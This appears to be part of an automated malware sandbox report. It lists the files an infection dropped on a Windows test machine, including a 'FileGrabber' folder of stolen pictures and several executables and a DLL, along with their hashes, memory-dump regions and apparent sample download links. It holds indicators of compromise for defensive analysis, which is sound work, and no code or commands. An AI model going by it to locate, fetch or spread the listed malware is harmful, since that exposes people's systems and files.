5c8b15f34fb8522925a4bbf98efdba37

SHA1
22cc4db2e6a755263b56b47e52cf030a5a152867

SHA256
8e29b1892be84d8a5f69c32e1242a7407b0377943c3cca2aff08145616cabe17

SHA512
d7d4ab433da36b6ee1a8d63db7b40d0a7abfa17919c3195778039e977d95c0d89432104a5f6ce6f361ae7e92343344c39d4677755aefdd4d8f2d0ab0cd247577

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Pictures\ConfirmConvert.svg

Filesize
514KB

MD5
cce7fce6a9fcf6d4bcdca8c9ae84ea69

SHA1
55ec46d1aed64920cfc215b9190a155c92249e6a

SHA256
df18509c09fcc0aa4a42b2baa6d67399b9b970dbd53a0887ea54f94134eb4ebc

SHA512
7bd8cd35f71048be7c7ad851907535aa84484093ffee4a754f96a6e6cee8a23ab07dacff05aef4b61d95bbb05a4eb746599d56fad27dce2b5a3db63d62251b7b

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Pictures\SelectCompare.svg

Filesize
656KB

MD5
20e8817f321b94822fa8b9b3c09b9753

SHA1
c1e74e6af703800a57a766b5c104cc7eaf8f3a16

SHA256
942f37cc99b3f86f79a2539a29673d6ba0f82739c292e7b8561e11a59e3f0141

SHA512
3bd7c53eab964e4ebe79afa143bcca801e8794fe4712845d570f6b9f46af7ff1a9d3950c1594b9db6c019fe526eb2b74a44a0aecff39649bd34332ddab754899

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\Process.txt

Filesize
4KB

MD5
f29b12d00c3f0112a954af4e7e5b4f39

SHA1
f9db551cf3e3cd0f13eae612e46a94f34e0ef640

SHA256
e88a3a6fdf88f4b48237b02e4faa92b6359f7f320e95eedaff9383c4e4d9ec5a

SHA512
9b3ad6404c0653dd52cba5c5606d6fceb635872c6745620720f81a1c31f3d57dd6612a48fdef404095639eadb0f9de6bd592212f9101648253cc870559452fdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client.exe

Filesize
100KB

MD5
21560cb75b809cf46626556cd5fbe3ab

SHA1
f2eec01d42a301c3caacd41cddb0ef2284dbb5a6

SHA256
d2525bab5cb322933c8978880975e0c189feece68ae3f1951bf46297c7f640fa

SHA512
21eac0037b16f968ee8743b52dc73efdd34d24c2502d090b399a552dc6cb75f7d3090c10d448c66b868b1c4a7c46a5068b084b88b487e40b1e755356cb7557db

Download Submit
C:\Users\Admin\AppData\Local\Temp\Launcher.exe

Filesize
22KB

MD5
4c8f3a1e15f370ca8afe2992902a6e98

SHA1
dc6324d924ac31bea4ad7e4dd6720ecdad3877dd

SHA256
dcdc72549f7ad41cc860738adbeee5e44f02222415fd84ed5c92538ac9049b92

SHA512
b63c4e48f3024edcf1e1391b5df6ff65fc5111849eb093b429fa0f21c03339dbaeff835f18e250758498f3432874b85348530e47b2ada93f6f68615a5ccf66c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lou0e5gf.if2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zzzz.exe

Filesize
320KB

MD5
de4824c195cf1b2bb498511ef461e49b

SHA1
f15ca6d0e02c785cce091dbd716cd43e3f5a80bd

SHA256
51813dfedbe02f03d08b4728187eadb4948d8be40c9d8fe6e4e1cb61fa7ae209

SHA512
b211a636f2799d90ce38348dbbc7dbc69ac5374129c7896a137f03a57fe78139a030c1edb90cfc4203799d77a8720df431da75986aa1d8b16274030ad1db770a

Download Submit
C:\Windows\xdwd.dll

Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

Download Submit
memory/1400-35-0x0000000000BD0000-0x0000000000BF0000-memory.dmp

Filesize
128KB

Download
memory/1400-484-0x000000001C0A0000-0x000000001C0BE000-memory.dmp

Filesize
120KB

Download
memory/1400-483-0x0000000002C50000-0x0000000002C58000-memory.dmp

Filesize
32KB

Download
memory/1400-482-0x000000001C960000-0x000000001C9D6000-memory.dmp

Filesize
472KB

Download
memory/1536-14-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-17-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-13-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-12-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/1536-7-0x000002219DAD0000-0x000002219DAF2000-memory.dmp

Filesize
136KB

Download
memory/3456-0-0x00007FFCCDA23000-0x00007FFCCDA25000-memory.dmp

Filesize
8KB

Download
memory/3456-34-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/3456-1-0x0000000000EB0000-0x0000000000EF0000-memory.dmp

Filesize
256KB

Download
memory/3456-63-0x00007FFCCDA20000-0x00007FFCCE4E1000-memory.dmp

Filesize
10.8MB

Download
memory/4580-64-0x0000000000710000-0x0000000000766000-memory.dmp

Filesize
344KB

Download
memory/4580-104-0x0000000006930000-0x0000000006996000-memory.dmp

Filesize
408KB

Download
memory/4580-96-0x0000000006A90000-0x0000000007034000-memory.dmp

Filesize
5.6MB

Download
memory/4580-95-0x0000000006440000-0x00000000064D2000-memory.dmp

Filesize
584KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads